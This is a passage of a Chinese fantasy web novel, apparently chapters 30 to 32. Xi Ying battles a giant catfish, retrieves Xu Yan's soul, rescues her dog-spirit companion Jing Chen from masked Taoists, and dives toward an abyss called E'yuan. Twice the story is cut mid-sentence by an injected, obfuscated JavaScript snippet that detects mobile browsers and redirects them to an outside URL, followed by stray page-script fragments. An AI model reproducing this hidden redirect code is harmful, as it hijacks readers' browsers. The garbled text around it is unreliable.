青光乍现,骤然撞进宛如一片小树林利齿之间,直接削出了一大片豁口,威风凛凛的大鲶鱼瞬间成了只豁牙老太太鱼。 这下可把鱼给气坏了,大脑门儿往后一仰,试图撞死对手,两条长长的胡须也如鞭子般挥得虎虎生风,左右开弓尽往奚萦身上招呼。 奚萦仗着自己体型小,腾挪闪避灵活极了,一次又一次躲开胡须,瞅准空子还用青玉剑削掉大鲶鱼几颗牙齿或是一节胡须,若这鱼会说话的话,恐怕早被气得破口大骂了。 然而这玩意儿实在太大,又皮糙肉厚的,奚萦虽然占了上风,却始终未能将之彻底制服,而且她每次试图靠近鱼眼睛,它就索性将眼一闭乱打一通,如此一来,她也无法探查许嫣的魂魄是否真的在鱼眼睛里,更要命的是,大鲶鱼有时间在这里慢慢耗,她却没时间跟它一直耗下去。 胡须再次抽来,奚萦这回没再给它剃胡子,而是反手一抓,整个人吊在胡须上,荡秋千似的朝鲶鱼肚子底下荡去,轻飘飘贴在了它下颌处。 趁着那大家伙还没反应过来,她抬手一招,暗金色的令牌不知从何处倏然飞来,稳稳落入她手中,被她顺势往大鱼的上嘴唇一按,把这鱼烫得一个哆嗦,咯嘣一口咬到了自己的嘴皮子,顿时又疼又气,摇头摆尾地原地打转起来。 奚萦趁机单手支撑着轻巧翻转一圈,直接跳上了大鱼脑门儿,然后噔噔两步冲到那只跟含元殿大门差不多大小的漆黑右眼旁,将招魂幡一把插进了鱼眼珠里。 疯狂挣扎的大鲶鱼瞬间僵直,奚萦的手按上鱼眼珠,再次启唇轻唤:“许嫣,许嫣……” 水中没有声音传出,只能看到一圈圈涟漪以奚萦为中心再次荡开,大鲶鱼被吵得火冒三丈,眼睛里的异物更是令鱼难受,然而无论它如何翻滚转圈,始终甩不掉贴在身上的小虫子,如此过了约莫半柱香的时间,大鱼的右眼中忽然闪过一道浅灰色幽影,招魂幡骤然飞出,落入奚萦手中。 大鲶鱼这下更是气疯了,尾巴狂甩,脑袋狂撞,就像被扔进了滚烫的油锅里,拼着老命横冲直撞,撞不到人也定要将锅掀了不可。 奚萦头疼,她在景辰面前叫嚣着要宰了这鱼,实则并未打算真拿这大家伙怎么样,身为统御妖族的司主,再丑再蠢的妖怪也是她的子民,纵使真有罪过,她顶多就是将其抓回孽镜堂受审罢了,不到万不得已定然不会轻易取妖的性命,何况这大家伙也没当她的面犯什么罪过。 但打架这种事,一方发疯一方留手的话,形势几乎瞬间逆转。 奚萦几次被鱼尾巴或是胡须扫到腿脚肩膀,一步步退到湖底深处,始终没找到脱身的机会。 这大鲶鱼也是彻底疯了,一嘴钢牙被削掉小半,胡须一长一短,它却完全不管不顾,一股不把奚萦脑袋啃下来绝不罢休的劲头,一人一鱼打得天翻地覆,湖底沉积了不知道多少岁月的淤泥尽数给搅了起来,彻底乱成了一锅粥。 这地方本就黑咕隆咚的,再给这么一搅,几乎无法视物,故而奚萦和鲶鱼都没注意到,他们来回打转的脚底下,一条裂缝越崩越开,血红的湖水渗进裂缝中,先只是极缓慢地一点点浸,而后越来越快,好像对面有一头巨兽正张开嘴一顿猛吸,竟形成一个不大不小的漩涡。 直到大鲶鱼被漩涡吸得两次打歪,奚萦终于察觉到不对,但她以为是他们不小心打穿了湖底岩层,反正这破地方她也打算毁掉的,早一点晚一点也没什么关系,但大鲶鱼却像是忽然找回了理智,竟直接放弃纠缠奚萦,转身一头扎进了越来越湍急的旋涡中。 奚萦不知道这疯鱼要干什么,但逸散在周围湖水中的古怪气息告诉她这地方有危险,得赶紧离开了。 当然,并非她不敢下去一探究竟,若只有她一个人的话,十八层地狱也敢闯一遭,这不手里捏着只破破烂烂的缝合鬼,外面还等着条婆婆妈妈的胆小狗嘛,总得把这些拖油瓶弄出去再说。 然而她刚转身,手腕便被什么东西扯住了。 低头一看,竟是放在袖中的招魂幡不知何时掉了出来,幡布一头缠在她手腕上,一头被疾速涌向湖底的血水拉扯着,试图带着她一起跌落深渊。 奚萦蹙眉,伸手去扯招魂幡,一下子却没能扯动,正疑惑的时候,一股阴凉的气息顺着手腕爬上她小臂,贴着她手臂内侧的皮肤,迅速写下几个字。 “厄渊已开,不能走。” 那气息一直在奚萦的手臂上重复写着这句话,幸而司主大人是个玩鬼老手,若换成富贵儿的话,忽然在黑漆漆的血湖中来这么一出,恐怕狗胆都得吓裂了。 事情变得奇怪起来,奚萦也不再吝惜灵气,抬臂一划,直接将黏腻的湖水隔开,隔出了一片三尺见方的干净空间,然后从袖中一抓,抓出一抹有些黯淡的半透明鬼魂。 这鬼魂缓缓抬头,露出一张明艳的美人脸,赫然正是许美人,许嫣。 奚萦赶紧问道:“厄渊是什么?为何不能走?” 许嫣一脸麻木地重复道:“厄渊已开,不能走……” 奚萦头疼,许嫣的魂魄实在孱弱,看来是问不出个所以然了,无论如 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至于这兄妹俩是如何死的,许聪又是怎么魂魄分离变成妖怪的,这些奚萦暂时猜不到,但答案已经到手了,许嫣的魂魄尚算完整,将养一段时日想必能清醒过来,当务之急是带狗子和许嫣离开这里,再安排人手过来将这贼窝一锅端了。 想到这里,她赶紧联系景辰。 刚打开识海叫了一声“富贵儿”,一声杀狗般的嘶吼便传了过来。 “啊啊啊!!奚萦你这,你这——你还知道联系我啊!快回来,许聪这家伙不对劲!” 接着便是各种混杂着生气、委屈、焦虑、担心的吱哇乱叫,吵得奚萦脑仁儿疼,如此危险紧张又带着点诡异的氛围下,她竟有点忍不住想笑,但她这一笑,狗子可能又得气哭,温柔善良的司主大人只能强行忍住,轻咳一声安慰道:“别急,我知道许聪有问题,你先说说他怎么了?” 只听对面景辰重重哼了一声,快速说道:“他忽然变得神神叨叨的,一直念什么‘不去,滚开,我不去’,最奇怪的是他的身体像被烈火炙烤一样,血肉沸腾融化,化出来的黑水一直往湖底流,我感觉,就像湖底有什么东西在拖着他下去,但他不愿意去……” 景辰也没见过这种怪事,更不懂妖术仙术,只能将自己看到的情况描述给奚萦,奚萦一开始也没太明白,听到后来却忽然反应过来,许聪这是血脉反噬了。 许聪是凡人变成的妖,奚萦虽然还没弄清楚他到底是怎么变成妖的,但可以肯定的是,他血脉必定不纯。 妖族的血脉通常承继父母中妖力更强的一方,但偶尔也有例外,比如父母双亲刚好是不同种族的妖,妖力又恰好不相上下,则子女可能出现血脉混杂的情况,或是人类和妖族的后代,只承继了部分妖力,连完整的妖身都没有,这种被称之为半妖,半妖和血脉混杂的妖族都很容易出现血脉反噬的情况,虽然不同的妖族血脉反噬的症状不尽相同,但不外乎精神错乱皮开肉绽这些。 许聪出现血脉反噬的症状不算奇怪,奇怪的是,为什么流出的血水会往湖底去?虽然没亲眼见到景辰所说的“湖底有东西拖着他”是什么情况,她还是信了这个说法。 奚萦一边往景辰所在的方向赶,一边回头看了一眼大鲶鱼所在的地方。 它一动不动趴在那里,像座已经死去的大山。 厄渊,厄渊究竟是什么?大鱼肚子底下,就是通往厄渊的入口吗? 这些思绪只是一闪而过,奚萦对景辰道:“我这就回来,我们先出去再说。” 然而她话音刚落,就听景辰陡然尖叫起来:“救命!奚萦——” 30. 以后对司主大人说话小声点 奚萦一走就是小半天没动静,景辰虽然老老实实在原地等着,心里却难免焦急,一时是担心她又陷进什么莫名其妙的阵法幻境了,一时又怕她搞出什么不得了的大动静,那叫一个度日如年啊。 日子难熬,手上就没个停歇,两人藏身的石头都差点让景辰抠出窟窿来,他一边抠一边在心里嘀咕:“这家伙,还是当盆栽的时候省心啊,你说是吧,许——你你你,你怎么了?” 许聪一直像个安静的影子一般缩在景辰身后,他许久不曾留意这人的动静,结果猛地一转头,就看到这个原本就长得很扭曲的妖怪此时整个人都快裂开了。 真正意义上的,皮开肉绽的那种裂开,露出来的血肉像是被炭火烤到五成熟的嫩羊羔肉,滋啦滋啦地冒着泡,而他脸上的表情先是茫然,在对上景辰惊诧的目光后,才显出几分狰狞来。 景辰愣了一瞬间,然后疯狂呼叫奚萦。 可惜没有得到回应。 景辰哪里见过这种阵仗,第一反应是摸摸自己的脸和手,幸好一切正常,第二反应是怀疑许聪中毒了或是发病了,他强忍着恶心,想问许聪是怎么回事,但一张嘴就尝到浓烈又黏腻的血腥味,这才想起自己此时还潜伏在血湖中,于是只好谨慎地后退几步,离许聪远一点,同时在识海中不停地叫奚萦的名字。 司主大人您快回来看看吧,这里发生鬼故事了! 许聪在短暂的怔愣过后,开始抱着头不停哀嚎,嘴巴一张一合地,反复重复同一句话,景辰看了好几遍,勉强认出他是在说“不去,滚开,我不去”,而他身上裂开的血肉渐渐融化成黑水,汇成一股,像被什么无形的力量牵引着,拖成一条墨色长线涌向湖底。 景辰觉得自己应该赶紧逃跑,可是这鬼地方下有妖怪上有追兵的,他如此柔弱一个凡人似乎往哪儿逃都逃不过一死。 幸好,在拟完传位诏书之前,奚萦的声音终于在脑海中响起。 “富贵儿!” 景辰第一次觉得这个又土又蠢的狗名字竟还挺好听的。 “啊啊啊!!奚萦你这,你这——你还知道联系我啊!快回来,许聪这家伙不对劲!” 司主大人不愧是司主大人,面对这些稀奇古怪的事总是一副泰山崩于前而面不改色的镇定,听完景辰的情况说明后也只是云淡风轻地让他等着,景辰原本忐忑不安的心顿时放回了肚子里。 然而这颗心刚放回去不过几息时间就被迫再次提起,一张渔网从天而降,将他结结实实网了进去。 “救命!奚萦——” 他下意识大喊起来,喊到一半又嫌弃自己没出息,讪讪闭了嘴,一边用力撕扯渔网自救一边伸腿去踹傻愣愣的许聪。 奚萦被他这声尖叫吓了一跳,连忙问:“怎么了?” 景辰努力用沉稳的语气答道:“应该是上面的守卫,他们用渔网把我和许聪抓了,你,你尽快过来。” 这时两人被拖出了湖水,景辰也看清了岸上的情形,密密麻麻的妖怪们将整座血湖围住,三五成群协力拖拽一张巨大的渔网,更远处的土丘上隐约还有几个白衣的身影,景辰看不清他们的模样,但在一片红黑中十分醒目的几点白,他还是瞬间想到了许聪口中的“道士”。 没等他细看,奚萦的声音再次传来,这次是在召唤他:“富贵儿!你先到我身边来,别管许聪了。” 熟悉的眩晕感传来,景辰下意识就要闭眼晕过去,然而求生的本能和捂好马甲的强烈意愿让他陡然清醒过来,慌忙喊道:“别!别动!你先别扒拉我!那个,这网很奇怪,你一叫我,它就疯狂勒我,这样不行,会出事的,你,你还是亲自来一趟吧,小心点啊……” 说到后面,他自己都忍不住心虚起来,若他只是司主大人的剑灵小狗富贵儿,那当下最好的破局办法当然是通过和奚萦之间的特殊联系直接传送到她身边,两人汇合溜之大吉,想必以奚萦的能力,带条狗逃跑总是不成问题的。 但他现在是景辰,用的是人的身体,一旦魂魄被传送到奚萦那边,那他的人身就直接落入这群妖怪手里了,再一个不好,大雍王朝至高无上的皇帝陛下恐怕会被剁成肉泥沉入河底,搅拌搅拌,再捞起来捏成傀儡,放出去祸国殃民。 再则,他也不敢保证自己的人身出事了的话,还有没有机会继续做狗,至于在奚萦面前暴露了自己有双重身份的事,也是他绝对不想见到的结果。 幸好,奚萦虽然犹豫了片刻,还是很快答应了这个听上去有点蹩脚的请求,至于她听到狗子在心里疯狂呐喊“救命,我的身体不能落在这些人手里”“完了要露馅儿了”“不能晕,醒醒啊你不能晕”之类的怪话,她先默默给他记一笔,以后总有算账的机会。 “嗯,我知道了。他们来了多少人?大概什么修为?许聪现在是什么情况?” 景辰悄悄松了口气,一边暗赞司主大人今天真是善解人意,一边将情况抓紧时间告诉奚萦:“大概有百来个,修为,修为我看不出来,反正打我肯定是足够了,打你定然打不过……对了,还有三个看上去像道士的人,就在湖西侧的土丘上,离得有点远我看不清具体模样,你小心点。至于许聪,他还在发疯呢,这些守卫都不敢靠近他。” 奚萦无奈叹气:“等着,我这就来。” 景辰弱弱地“嗯”了一声,乖巧又冷静,实则恨不得当即给奚萦敕封爵位厚赏财帛,并暗下决心,以后对司主大人说话尽量小声些。 与此同时,远处土丘上的一个白衣道人拿出个东西朝这边摇了摇,几个守卫妖怪立即上前扯开许聪身上的渔网,将人半扶半拖着往道士所在的地方而去,货真价实的不速之客景辰反倒被晾在了一边。 他趁机扯下渔网,鬼鬼祟祟往湖边挪了挪,然而只挪了半个屁股的距离就被横插进面前泥地里的一把钢叉给拦下了。 好吧,看来是没机会浑水摸鱼了。 景辰老老实实趴回原地,一双眼睛却抓紧时间四处观察。 这地方就不说了,放眼望去不是红就是黑,红的是血河血湖血泥,黑的是长得跟自己差不多的不知名小妖们,要说这些小妖们有什么特别之处,以景辰的眼光见识实在看不出来,但他依然锲而不舍地将附近每个小妖都从头到脚看了一遍。 他们面无表情,像木偶一般安静立着,先前见到的那些挖泥背泥的小妖也是差不多的状态,景辰小声叫守在他身旁的一个小妖:“喂,黑炭,喂……” 小妖像聋了一般,眼皮都没掀一下,景辰只好放弃。 这时,远处的白衣道人再次抬手朝这边摇了摇,景辰看到面前两个小妖的耳朵动了一下,然后立马弯腰将他抬了起来,吭哧吭哧往土丘的方向大步走去。 景辰暗暗吸气,正在逃跑和按兵不动之间犹豫的时候,忽听奚萦道:“先别动,待会儿他们放你下来后,你就直接往中间拿手鼓那道士身上扑,动作要快知道吗?” 景辰下意识问道:“要、要咬他吗?” 奚萦默了默,幽幽道:“你想咬的话,也不是不行……” 好吧,景辰懂了,呃,懂了一半,总之奚萦怎么说他就怎么做。 这时他已经被小妖们抬到了土丘下,看清了那三个道士的模样。 他们穿着一模一样的素白道袍,脸上带着灰白色面具,面具上只有眼睛鼻子三处孔洞,其余半点花纹装饰也没有,而中间那人拿出来摇了两次的东西,的确是一面手鼓。 这鼓只有巴掌大小,鼓面上用青、红、黄、白、黑五色颜料画着杂乱无章的线条,看着十分别扭,让偏爱整洁有序的景辰莫名生出了将之抢过来踩上两脚的冲动。 短暂的失神后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232568|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他恍然大悟,道士两次摇晃手鼓应该是在操控这些黑炭小妖,而奚萦要他往道士身上扑,可能也是打这面古怪手鼓的主意,但就靠他一个人,能硬生生从这邪性的道士手里抢东西? 景辰觉得司主大人是不是太看得起他了点,他心虚啊。 然而不等他将心里这些疑惑问出口,就听奚萦一声令下:“上!” 不管是出于灵魂深处属于富贵儿对主人的服从,还是出于景辰自己对奚萦的信服,在听到这声“上”的同时,他已经自动运转轻身功法,铆足了全力冲向高高站在土丘上的白衣道士。 道士似乎也没料到这小贼如此生猛,怔了瞬间才下意识抬手打算敲鼓,另外两名道士也本能地后退了一步,然而就在拿手鼓的道士抬手的瞬间,景辰的肩膀一沉,头顶一道冷风倏然斩落。 凭空出现的矫健身影像是寂寂冬夜里猛然炸响的春雷,携着令人不敢直视的青芒电光,一剑斩尽了此方天地的晦涩阴暗。 白衣道士颈间血色乍现,惊呼声戛然而止,像被人卡住脖子的鸡一般,嗬嗬两声后,倒地而亡。 景辰惊得忘记呼吸,直到对上奚萦那双熟悉的眼睛,他才缓缓吐出剩余的半口气,没等奚萦出声便十分有眼力见儿地弯腰一把捡起掉在道士尸体旁的手鼓,然后对奚萦眨了眨眼,示意目标宝贝到手了。 奚萦看了他一眼,转身追向逃走的两个道士,景辰只觉她刷刷刷刷几剑下去,道士便倒地身亡,青玉剑光芒一闪,被她收回袖中。 没有收到道士指令的黑炭小妖们一个个瞎了聋了一般杵在原地,根本没有出手的意思,而先前就被抬过来的许聪也仍旧旁若无人地发着疯,局势瞬间逆转。 景辰再次刷新了对奚萦武力值的认知,由于没有别的参照物,他以自己为参考,黑炭小妖们大约一个能打他三个,道士随便一敲鼓就能把黑炭小妖当奴才使唤,那至少一个道士能打十个小妖,而司主大人杀道士跟杀西瓜似的,约莫一人能打二十个道士。 所以换算下来,一个奚萦至少能打六百个景辰。 真是个吉利的数字啊! 老天爷啊,看来以后对司主大人说话得再小声点才行呢。 算完账的景辰一脸肃然,尽管他现在这副尊容也看不出什么表情,但围观了大型武力值计算现场的奚萦还是忍不住多看了自家狗子几眼,末了语气古怪地夸道:“狗脑子学算数竟还不赖,也算有点偏才了……” 她没再去管内心戏异常丰富的狗子,快步走到地上打滚的许聪身边,正犹豫要如何处置这家伙的时候,许聪原本黯淡迷茫的眼睛忽然亮了起来,转头死死盯着奚萦。 “你拿到了?你一定拿到了!就是这个味道,是我的味道!给我!快给我!” 许聪就像饿了八百年的猫忽然闻到鱼腥味一样,一双漆黑的瞳孔亮得惊人,原本被血脉反噬溶解得七零八落的肉身也快速聚拢到一处,却又像散沙一般无法捏出形状,疯狂挣扎着,翻腾着,想要从奚萦身上咬下那口渴望了许多年的鱼肉。 奚萦挑眉:“你想要许聪的残魂来补足自己的魂魄?” 许聪低声嘶吼:“对对!快给我!快给我啊!” 景辰这时也过来了,听到奚萦这句话,他惊讶问道:“他不就是许聪吗?呃,他难道是不完整的许聪?” 奚萦点头,伸手拦住景辰,带着他往后退了两步,许聪这状态随时都可能彻底疯掉,也不知道这玩意儿疯了会变成什么模样,她还想把他弄出去,看能否替许聪补完魂魄,好歹下辈子投生成个齐全人,也不枉相识这一场。 然而还没等她想出妥善的办法,许聪忽然哀鸣一声,整个人化作污水,惨叫着冲向了湖底。 这稀稀拉拉的模样,奚萦都不知道该怎么捞。 而湖底,是厄渊的入口。 31. 竟敢打本司主的狗 一个活生生的人,呃也不算是人,妖怪,活生生的妖怪,在自己面前忽然化作一滩污水,这场面景辰第一次见,完全没反应过来发生了什么事,只下意识将目光投向奚萦。 奚萦其实也不知道许聪这是怎么了,但直觉告诉她事情不妙,她跟景辰对视了一眼,当机立断道:“走!” 景辰立马抬手去拉奚萦,另一只手捏着破山符,体内为数不多的灵气调动起来,准备随时捏爆符箓带奚萦一起跑路。 然而还是迟了一步,两人相距不过咫尺时,轰然一声巨响从血湖底传来,一朵巨大的血花在湖中心处猛烈炸开,掀起滔天巨浪,一口吞掉岸上呆立的小妖、断了气的道士以及奚萦和景辰两人。 幸好身上的避水符还未失效,否则冷不防挨这一下,以景辰三脚狗的修为恐怕不被砸死也得被淹死。 然而他没被淹死,却还是不慎呛了口黏糊糊的血水,冲天的腥臭塞满口鼻,当即将他恶心得眼泪差点下来,慌乱吐了两口,正想再去拉奚萦,结果又被忽然退潮的湖水拉扯着冲向湖底。 奚萦也被这忽然的变故打了个措手不及,待反应过来准备拉着狗子回岸上的时候,眼角余光却忽然看到自己侧后方不远处一具道士尸体迅速融化,跟许聪一样化成了一团污水。 她回头望去,只见飘在血水中的小妖和白衣道士像被扔进水中的颜料那般化开,变成一道道墨色污水,或是几团汇聚成一股,或是自己扭动着,纷纷涌向湖底。 自小被当做未来的妖务司司主教养,奚萦自然见过许多稀奇古怪的妖,却从未见过或是听过许聪和这些小妖、道士一般的妖物,他们身上的妖气也很淡,修为更是稀松平常,但数量之多,行事之诡异,却是见所未见。 她心中冒出个念头,这处地下秘境、女娲泥的来历、妖族失踪之事、许家的异常,这些都跟湖底那个名叫厄渊的地方有脱不开的干系。 或许,她该去厄渊一探究竟。 奚萦的性格从来就是说干就干,几个呼吸之间便下定了决心,正要交代景辰先行离开时,变故再生。 壮如山岳的巨大黑影忽然从湖底冲了出来,眨眼间便逆流而上冲到两人身前,猛然一个甩尾,径直打向稍微靠前的景辰。 景辰能在血浪中勉强保持头脑清醒四肢平衡已经很不容易了,哪里还有余力避开这一击,危急之下只得将眼一闭脖子一缩,一时间什么皇朝帝位江山社稷都无心记挂,只在心里叹息似的默念了一声奚萦的名字。 然而预想中粉身碎骨魂归地府的惨事并未发生,景辰只觉肩膀一紧,后背撞进一个不怎么温暖也不怎么柔软的怀抱中。 他当即睁开眼,只看到比宣仁门两扇红漆大门合起来还大几分的一条鱼尾铺天盖地扇下来,重重拍在身后人单薄的背上。 巨力袭来,两人像黏在一起的陀螺般在血水中转了两圈,逆着潮水回流的巨大吸力,倏地一下朝岸上飞去。 直到嘭地一声砸进岸边淤泥中时,景辰整个人都还是懵的,他下意识抱紧奚萦,屏住呼吸,小心翼翼探手去摸她后背。 入手是一片令人恶心的滑腻,景辰却没有多余的心思去嫌弃了,血水混着淤泥,里面还裹着一层许聪弄出来的黑雾,他其实连她有没有流血,骨头有没有断都摸不出来,只能慌张地东一下西一下,勉强确认这人还是完整的。 “啧,傻狗你瞎摸什么呢,赶紧放开啊。” 景辰愣了愣,手却没放开,只是脖子稍微往后仰了仰,看清了奚萦那张又红又黑的丑脸,终于反应过来他们已经在岸上。 奚萦见他这呆呆的模样,伸手拍了拍他的脸,无奈道:“吓傻了啊?没事了,你是先出去还是回剑里?我要去湖底看看,没办法带你了。” 景辰屏住的呼吸总算找了回来,察觉到自己正将奚萦死死抱在怀里,一只手还在人背后肆无忌惮地摸来摸去,迟来的羞耻感迫使他慌忙放手,眼睛一时也不知道该往哪儿放,心里却仍旧有点担心她的身体,乱瞟几下后,悄摸摸再将她上下打量了一番,很好,胳膊腿儿都在,应该没事的吧? “你,你没事吧?” 奚萦的注意力一直在血湖那边,此时的血湖已经成了个巨大的漏斗,血水疯狂朝湖底倒灌,而那大鲶鱼冲出来将两人抽飞后,便一直在湖里上蹿下跳,血盆大口一张一合的,看上去,似乎是在吞血水? 比起一条本就不太正常的鱼忽然发了疯这件事,破了个大洞的血湖,化为污水的道士和小妖,以及此时从四面八方传来的,令人心颤的咔嚓咔嚓声才是真正的危机。 这是空间正在缓慢碎裂挤压的声音。 奚萦沉着脸仔细听空间裂碎的声响,在心里默默算着时间,犹豫要不要去湖底一探究竟,故而直到景辰问第二遍时,才匆忙回头道:“呵,就那呆头鱼也能伤得了我?少说废话,你自己出去还是回剑里?” 见她还能胡吹大气,显然是没事,景辰松了口气,至于是走是留,以他的实力似乎没有选择的余地,可他一看奚萦的模样就知道她还不打算走,向来秉持着不可亲身犯险原则的景辰实在看不下去了,连忙握紧她的手,坚定道:“你跟我一起走。” 相处这段时间,他对司主大人敢把天捅个窟窿的性格也算有几分了解,知道她不是个能听进劝的人,所以在拉住奚萦的同时,另一只手已经直接用灵气点燃了破山符。 破山符,或者叫破界符更恰当一些,其作用并非如开山修路所用的火药那般炸开山石,而是能破开一些封闭的空间结界或秘境,此地乃是一处被阵法或其他手段隔绝的秘境,奚萦从古怪又隐秘的入口以及进来时遇到的那座吞海鱼舌头做成的青石门便有所察觉,故而将身上唯二两张破山符给了景辰一张,让他关键时刻点燃符箓破开此地空间以便跑路。 但她忘了跟景辰详细讲解破山符的效用,导致他以为这是一张可以将他们直接传送出去的符箓,故而此时执着地拉着她不放,生怕自己出去了,她却陷在这鬼地方。 符箓被点燃的瞬间,空间被破开的脆响从头顶传来,奚萦有些惊讶地抬头看了一眼,又侧头看了看身旁一脸坚定死抓着自己不放的狗子一眼,嘱咐道:“通道已开,你先出去吧,我稍后就来。” 说完她抬手指了指头顶,景辰顺着她指的方向往上看,他没看见什么通道,只觉得上面裸露的红褐色山石有点扭曲变形,确认似的问奚萦:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232569|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从这上面走?” 奚萦实在懒得跟他继续啰嗦,不耐烦地“嗯”了一声,?手上发力,瞬间将婆婆妈妈的狗子抛了起来,丢沙包似的往头顶空间通道一扔,自己则头也不回地飞向湖中心。 哪知腿才迈出去两步,先是听到景辰气急败坏地大叫她的名字,接着又是一声不详的闷哼,然后嘭的一声,有什么重物砸了下来。 转身回头的瞬间,奚萦是有那么点烦的,可看清摔在地上抽搐了两下就不动弹的人影,以及头顶一闪而过的巨大青色石门时,她的烦躁已经变成了又急又气。 青玉短剑脱手飞出,一剑刺入青石门中,剑气荡开,震得空间通道瞬间扭曲变形,石门也在空间挤压和剑气涤荡两股力量之下被弹飞出来,奚萦这才看清,原来有个身着深蓝色道袍的人在背后扛着青石门。 蓝袍道人被挡了这一下,也不欲恋战,稳住身形后再次冲向空间通道,奚萦哪能让他就这么离开,手一挥,青玉剑再次暴起,一剑斩在空间通道末端。 破山符虽然不是奚萦亲手画的,但她用过许多次,当然知道弱点在何处,这一剑斩下去,头顶顿时传来令人牙酸的咯吱声,然后啪嚓一下,通道垮塌,扛着青石门的蓝袍道人也被空间碎裂的冲击波正面砸中,像颗下锅的肉丸子般扑通一声掉进大漏斗湖里。 强行以破山符打开空间通道本就使此地空间震荡,奚萦这一剑更是雪上加霜,空间通道垮塌不仅重伤了那蓝袍道人,也使整座秘境空间都开始震颤,原本还算轻微的碎裂声密集起来,听得人头皮发麻。 奚萦此时也无暇去管那肉丸子是进了鱼嘴还是进了厄渊,她赶紧俯身去看躺在地上一动不动的景辰。 幸好,狗没死,就是肋骨断了几根,内脏有些损伤。 找出疗伤丹药塞进景辰嘴里,三两下帮他接好肋骨,奚萦又渡了些灵气帮他化开丹药,伤势很快稳住,景辰终于有气无力地睁开了眼。 看到奚萦的瞬间,他松了口气,又莫名有点委屈,张了张嘴,喃喃道:“奚萦,我……” 奚萦白他一眼,快速吩咐:“痛就少说话,赶紧疗伤。再强开一次通道的话,这地方肯定马上就得塌,我们只有一次机会了。走之前我要先去湖底看看,那个蓝衣人,还有那条鱼,都是麻烦……这些东西你拿好,去那边土坡背后躲着,别乱跑知道吗?哼,打狗之仇,今日必报!” 她扔了个储物袋给景辰,伸手一指先前道士们站的土丘,抬了抬下巴示意景辰去躲着,自己起身便雄赳赳气昂昂朝湖里飞去,那气势那模样,今日不杀个七进七出血流成河,怕是消不了司主大人这打狗之仇了。 狗子本人咽了咽口水,无力阻止,只好弱弱叮嘱一句:“你小心啊……” 景辰已经放弃了,司主大人的事不办完的话,他们今天是休想安全跑路了,好在司主大人从无败绩,想必杀鱼杀妖杀道士杀什么都是手到擒来的。 就这样一遍遍给自己洗脑,把奚萦的本事吹得天上有地下无的,景辰拖着哪哪儿都疼的残躯,捏紧关系着两人身家性命的储物袋,猫在土丘底下,听着断断续续让人心底发寒的咔嚓声,专注盯着那道劲瘦身影消失在湖心,渐渐失神。 32. 生与死的尽头 蓝衣人一出手就差点打死自家狗子这事,奚萦自是怒不可遏,但除了生气之外,她心里还有很多不安。 这人出现得太快太突然,她竟完全没有察觉到丝毫气息,方才短暂交手,她看似稳占上风,其实更多也是利用了空间通道碎裂产生的巨大冲击借力打力,虽然一招击退了蓝衣人,但她能感觉到那人并未重伤,若论实力的话,蓝衣人恐怕不会比她弱。 这人是何身份,还有哪些同伙,为何要带走青石门,跟厄渊又有什么关系,这些都是奚萦急需知道的重要线索。 至于当前处境,先撤退,出去之后再从长计议或许是最稳妥的选择,可若是就这么稀里糊涂地走了,任由此处秘境崩毁湮灭,那许家兄妹的事、女娲泥的线索、厄渊的秘密,恐怕都将随之深埋于地下。 若今日遇到此事的是孽镜堂的日及老牛、度朔堂的秃毛鹤或是无损堂的封狐狸,及时撤退那叫保存实力缓缓图之,但以人族身份继承妖务司司主之位的奚萦若是退了,恐怕只能被扣上“非我族类其心必异”的帽子,那些老妖怪们更有理由反对她继任司主了,所以她决不能退半步。 不过这些勾心斗角的事奚萦不想跟景辰解释得太多,小狗嘛,能有什么复杂心思,他能鼓起勇气陪自己走这一趟已经挺不容易了。 这些念头一闪而过,转瞬间奚萦已经飞到了大漏斗边缘,原本一直在湖里上蹿下跳的大鲶鱼不见了踪影,或许是追着那蓝衣人去了湖底,而这片血湖此时看上去像张着大嘴企图吞噬天地的巨兽。 奚萦没有犹豫,直接飞进了这张深不见底的大嘴,远远看去,像只义无反顾扑进火海的黑色飞蛾。 越往下行越是阴冷入骨,头顶那点亮光转眼间只剩拳头大小,再也无法穿透地底深重的黑暗,轰鸣的水声中还夹杂着一些像是哀嚎又像是呓语的诡异声响,这一切让奚萦有种正在前往地狱的错觉,她不禁加快了速度。 时间似乎也被没有尽头的深渊无限拉长,也不知道过了多久,头顶光亮彻底消失,诡异的声响几乎贴在奚萦耳边不断回响,饶是她心志再坚定无畏,也难免升起一点头皮发麻的感觉,她愈发焦躁,几乎将轻身术催发到极致。 忽然,奚萦周身灵气凝滞,一股巨力从脚下袭来,拉扯着她疾速下坠。 她并未强行挣扎,反而顺着这力道仰倒,整个人弯折成一道圆弧,同时手中剑朝下横扫而过,打算将拉扯她的东西一剑斩断。 然而这一剑斩了个空,下方什么也没有,那股拉扯她的巨力反而更来劲了几分,奚萦微微一滞,像块大石头似的狠狠砸了下去。 灵气无法运转,敌人无形无影,情急之下,奚萦只能先抱膝蜷身,护住头脸胸口,脑海里飞快想着应对之法。 还没等她想出办法,刚才被大鱼尾巴打到的肩背处已经传来一阵闷痛,下落之势被阻,她重重撞上一片柔韧滑腻的东西,整个人一顿又往上一弹,重新落地后滑溜了一段距离才勉强止住。 